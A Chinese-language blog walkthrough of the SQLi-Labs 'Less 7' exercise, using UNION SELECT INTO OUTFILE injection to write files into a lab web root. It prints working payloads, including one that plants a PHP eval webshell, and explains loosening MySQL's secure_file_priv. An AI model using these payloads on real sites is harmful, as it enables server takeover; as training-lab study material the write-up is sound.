您的位置:首页 > 数据库

Sqlilabs Less 7 Dump to outfile

2019-02-22 22:01 295 查看
版权声明:本文为博主原创文章,欢迎转载,请注明转载来源,谢谢!!! https://blog.csdn.net/u014029795/article/details/87886319

看到这个outfile就知道肯定是直接写webshell了,原来都是在phpmyadmin写的,现在用在网页写,而且路径啥的都不知道,估计要作弊了。。。

Less 7 GET-Dump into outfile-String

手工注入

  • 先用普通手法试试,发现正常显示只有一句
    You are in.... Use outfile......
    ,构造错误语句的又没有提示哪错了。这种时候一般使用盲注比较好用,当然这个题都给了提示,需要使用outfile写文件。
  • 现在就碰到两个问题了。
    1.看不到报错语句,则需要经过大量尝试才能找到闭合方式。
    2.找到闭合方式后,网站路径是怎么样的,似乎不太清楚。
    好像也没有什么好方法来解决这两个问题,只能直接作弊了。。。
  • 查看源码,发现是用((''))来进行闭合的,网站路径当然也知道
    /var/www/html/sqlilabs/Less-7
    ,开干。
  • 由于没有报错信息,也只能判断出来只有3个列,于是构造下列语句来查库,
    ?id=1')) union select database(),database(),database() into outfile '/var/www/html/sqlilabs/Less-7/database.txt' %23"
    ,接着去访问这个文件即可看到库名,至于其它的就不再查了,都一样。
    想实现这个效果又要满足两个条件:
    1.网站路径得有写权限
    2.mysql允许导入导出的权限,由参数secure_file_priv决定的。
    secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
    查看mysql的secure-file-priv参数:show global variables like '%secure%';
    当secure_file_priv的值为null ,表示限制mysqld 不允许导入/导出
    当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入/导出只能发生在/tmp/目录下
    当secure_file_priv的值没有具体值时(null值),表示不对mysqld 的导入/导出做限制
    windows在mysqld.ini中的mysqld下面加上secure_file_priv=" "即可。
    linux在/ect/my.cnf下加入secure_file_priv=" "即可。
  • 写个webshell试试看,
    ?id=1')) union select '<?php @eval($_POST["test"]);?>','<?php @eval($_POST["test"]);?>','<?php @eval($_POST["test"]);?>' into outfile '/var/www/html/sqlilabs/Less-7/test.php' %23
    ,用刀连一下,成功。
  • 可能是因为这个SCSP里搞了太多次吧,挺没意思的。

sqlmap注入

  • 直接丢到sqlmap里面跑就行,可以出结果,只是sqlmap跑出的结果是用盲注来进行完成的。

函数分析

  • 没有增加新函数,无。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: